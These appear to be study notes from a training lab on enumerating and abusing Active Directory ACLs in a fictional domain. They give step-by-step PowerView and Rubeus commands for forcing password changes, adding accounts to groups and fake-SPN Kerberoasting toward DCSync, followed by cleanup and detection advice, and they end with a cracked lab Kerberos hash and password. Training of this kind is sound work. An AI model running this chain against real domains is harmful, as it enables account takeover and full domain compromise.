13. Access Control Lists, Enumeration

Not all users and computers in an AD env can access all objects and files.

ACEs map to users, groups, and processes (known as security principals) and define rights granted to that principal. Every object has an ACL but can have multiple ACEs because multiple security principals access objects in AD. ACLs can be used for auditing access.

Two types of ACLs:

Three main types of ACEs:

ACEs made up of four components:

Viewed graphically by admins using active directory users and computers (ADUC)


Why are ACEs important?

Misconfigurations allow further access or persistence Incorrectly applied ACEs are not detected by vuln scanning tools, and often go unchecked for years. ACL abuse can be a great way to move laterally/vertically. Example AD obj security permissions below:

We can enumerate with bloodhound. All abusable with powerview.

When we look at interesting ACLs/ACEs we should always pay attention to the bloodhound output and edge help - it will tell us what ACL is abusable, and what tools could potentially be used to assist us with that abuse. Other times it may be necessary (i.e. Unexpire-Password , Reanimate-tombstones) to do a bit of research to figure out how to exploit

ACL attacks are for:

Common attack scenarios: Abusing forgot password permissions

Keep note:

Some acl attacks are destructive - changing a user's password, or other modifications within a clients AD domain. 

It's always worth running an attack by the client before performing it to have written documentation of their approval. 

Carefully document your attacks! from start to finish, so we can revert after the engagement. This data should be included in our report, but also highlight changes we make clearly. 

ACL Enumeration

We can enumerate acls with powerview and bloodhound.

Powerview: 
Find-InterestingDomainAcl

returns a massive amnt of info we would have to dig through to find anything interesting. If the domain is big enough we would likely never get through all of it.

Targeted enumeration is much more effective. In our scenario, let's focus on user wley (ref. [[00a. Scenario specific information]])

Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley

We need to know the SID of a user to enumerate it appropriately.

We can then use Get-DomainObjectACL func to perform a targeted search.

PS C:\htb> Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}

This may take a while to run in a large environment. GUID referred to above is in the ObjectAceType field. Googling this guid value we will return this MS page showing the user has the right to force change the other user's password. https://docs.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password

Alternatively we can do a reverse search using powershell to map the right name back to the GUID value.

PS C:\htb> $guid= "00299570-246d-11d0-a768-00aa006e0529"
PS C:\htb> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

This works but would be highly inefficient. Powerview has the ResolveGuids flag which does this for us.

PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} 

We show this because its important to know how to do the equivalent natively incase a tool fails, or is blocked.

Let's look at Get-Acl and Get-ADUser cmdlets. Again this is inefficient and will take much longer than an equivalent cmd using powerview, but this is assuming we cannot use it.

Creating a list of Domain Users:

PS C:\htb> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

We can read each line of the above file we've output and use the Get-Acl cmdlet to retrieve acl information for each domain user. We select just the Access Property which gives us access rights. Finally, set IdentityReference property to the user we are in control of (or looking to see what rights they have) - in our case, wley

foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Once we have this data we can use the same methods as above to convert GUID to a readable format and understand what rights we have over the target user.

To recap: wley is enumerated to have control over the user damundsen via the User-Force-Change-Password extended right. We can use Powerview to hunt for where, if anywhere, control over damundsen would take us.

$sid2 = Convert-NameToSid damundsen

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose

Output of the above would indicate damundsen has GenericWrite privileges over the Help Desk Level 1 group. Meaning, we can add any user to this group and inherit any rights.

AceType               : AccessAllowed
ObjectDN              : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite

Running:

Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

output;
CN=Information Technology,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL

Help Desk Level 1 is nested into the Information Technology group, inheriting its' privileges.

We can repeat this process with the Information Technology group and enumerate what privileges it has with Get-DomainObjectACL

$itgroupsid = Convert-NameToSid "Information Technology"

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose

Outputs:

ObjectDN              : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : GenericAll

Which tells us we can genericwrite on user adunn Now, let's see what adunn can do.

$adunnsid = Convert-NameToSid adunn 

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose

This reveals output:

ObjectDN               : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-In-Filtered-Set

ObjectDN               : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes

We have DS-Replication-Get-Changes and DS-Replication-Get-Changes-In-Filtered-Set privileges over the domain object.

This reveals we can perform a DCSync attack, covered later.


Abusing ACLs

Again, assuming access to wley user we captured NTLM hash with responder from and crack hash. We know that we can use this access to get control of adunn who can perform a DCSync attack; giving us full control of the domain by allowing us to retrieve the NTLM password hashes for all users in the domain and escalate privileges to DA

  1. Use wley user to change pw for damundsen
  2. Authenticate as damundsen user and leverage GenericAll dacl rights to add a user that we control to the Help Desk Level 1 group
  3. Take advantage of nested group membership between Help Desk Level 1 <-> Information Technology group and leverage GenericAll writes to take control of the adunn user.

Changing a user's password with User-Force-Change-Password extended rights

Auth as wley: (Skippable if already running as wley)

$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) 

Create SecureString obj which represents the pw we want to set for target user damundsen

$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

We'll use Set-DomainUserPassword PowerView function to change damundsen's pw. We need to use:

cd C:\Tools\

Import-Module .\PowerView.ps1

Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

Similar process to authenticate as damundsen and add ourselves to the help desk group.

$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword) 

Next use Add-DomainGroupMember function to add ourselves to the group. Again, able to be done with pth-toolkit First confirm members of the group:

Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members

Then, add:

Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

Confirm:

Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

Now, we should be able to take control of the adunn user. Assume client said we could change damundsen password but adunn is an admin account that cannot be interrupted. Since we have GenericAll privileges, we can just perform a targeted Kerberoasting attack by modifying the account's servicePrincipalName attribute to create a fake SPN that we can then kerberoast and obtain a TGS ticket for which we can later crack offline.

Use Set-DomainObject to create the fake SPN.

Creating a fake spn:

Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

Rubeus:

.\Rubeus.exe kerberoast /user:adunn /nowrap

Cleanup:

remove fake spn: 

PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose

remove damundsen from group:

PS C:\htb> Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose

confirm group removal: 

PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose

Detection and Remediation of ACL abuse

  1. Auditing, removing dangerous ACLs
    1. Regular AD audits and run bloodhound against themselves
  2. Monitor group membership
    1. High-impact groups should be monitored to alert IT staff
  3. Audit and monitor for ACL changes
    1. Advanced security Audit Policy usage.
      1. https://docs.microsoft.com/en-us/archive/blogs/canitpro/step-by-step-enabling-advanced-security-audit-policy-via-ds-access
    2. event 5136: directory service obj modified

Auditing 5136 we can see its written in SDDL language. Use ConvertFrom-SddlString to convert it to a readable format.


scenario info

$krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL*$e26de731e453e7ee98f335929b59398d$b868a327691604322fdb2209c7ed202bedfe265309481083b641b96fbafcc4c17894e58791db8ae3af02a7b066c7c0ff19e55ddaab860e90036dd69a5512a4a092b7d58983f3fb7bc2a09f73b772714f98d24eb861040aad7d6d9f292519c9f542b8c37fe4bd49064ce1afd9f92c893e83432dfbe83f305ee73476050a172018dfb27fbbd97d43557265083c50270ab0bff4bd824e11d248b64618fb1e63ae8b69a2c48e763e19ad16853b9668f299a68f1fcc56332a9ebd11a0771fbfc6ab78a02b6ac69b7dc07d2a868dbbdf38f5b227df4c19cfd93aebc2e1834f6b2b724c2d7b89048aa7ff52a33181b000e3b9d9b20c8841b0325e3677fdd7fbdcbcba2a3a41373350da66d0cb28bb48fc3f9636f142709a5e94f3137568eafa42468bcb2e8f26d38011a6980f94d38e059988e443346af27a84a445da6519d1b8026fadb5d2f4a80c8121609f29fa4bb24b2cbffe4cd998ef892db1f0862314aa7f4e22a95b4e8f045fd2348179b95121dc7a39253dfcd01287468b307b17dc0f7336274c5d3fe173ba80b32b85c22a2040dddb42573eb1307f78f2ab5448fbb4a659b2acfee507238e1130d13f11e127df888839256777ec1e09ca86d6d5edf5383a8c87776e25166e92de7a1ab93d96065a1a70c3fee6a1a3a0d07eb6e819ad182dba613d54d05891a371d75b5899bfeeaca44c70bc8a69d57b9e5436cbd1118e818f5e4837aaa039948a159f55311d9b8bb9f843fe0dc7ae7e2ccf70f9cd028405eea86f3403e5fd396dde1bcb51f0d3a30be7b9d2521d928e1d4a6f239c48b92877e49fe9ba020c6f655a4f23d30c5164d335497a52de51a40c098eddbd928d0734ced02a56033664983026f665fab212ae2601569ad237e8f4f6b55ecced0b296b9337f9dc212eb4862981220de1b037296476d77d106e609896dd301ec5e9c56b402cd43eb0c164032be4ff77fe3ded06d1290d911dd8a179fe2c3f628fbe9542b45b160672709c0e9ab9e7a451efdd362964b2774cd1dd8e2199182f5da997a83208e5080110b5e709a63ad9a71f6940e7a2302358c77ac7feb17da255244fd3df22a4651abaa59f6d93715d39e76bd38942f89281a6d44e8072269001c9b5235ae44cd10fb6e7e934c1a084aa3c0a23a5acc2ef7b697ad777d9f6c959e056b5e40b49df16ad113d75a3c0614973da2dd8187acf786a2c22d6c65f753bc30f790e465e0da5d7134790af1fe553901d013d8761499a8953c233f74f58a3804e35b606eed141d152e319a1ff1f2a69e51124241ba6f32f603e911e040756d0903eff280b5d9d3106a4d6bc5476e2f7636bd923867f04b8425ad6be10d3baca2f60da18099687eefc226b067a1e16df2a74bf639257632b19559a869796bacd83e54b3f35c399ddba1667093c23a3926240dbda29666f13cfc9abcd8e2f448d22123253ac6e14c8d8f3e9c47b125be8c7a92cf6e21f9059cfbe8186f5b395d8e29e67d206f2309c67571e918c4465287ea238bd67b262b7bc9c7902e5f05cef2f29b53fcbf05faab70cfb71a6353b6191e53cf7f27c6042abec6ce63a98dea34ee43ddfdf27642b44acd93438334068705fa82cde82302f11caafd95279b94ff4e34e7200836c3a95d1b78234b43c43932023f10e9a7cb013fda4:SyncMaster757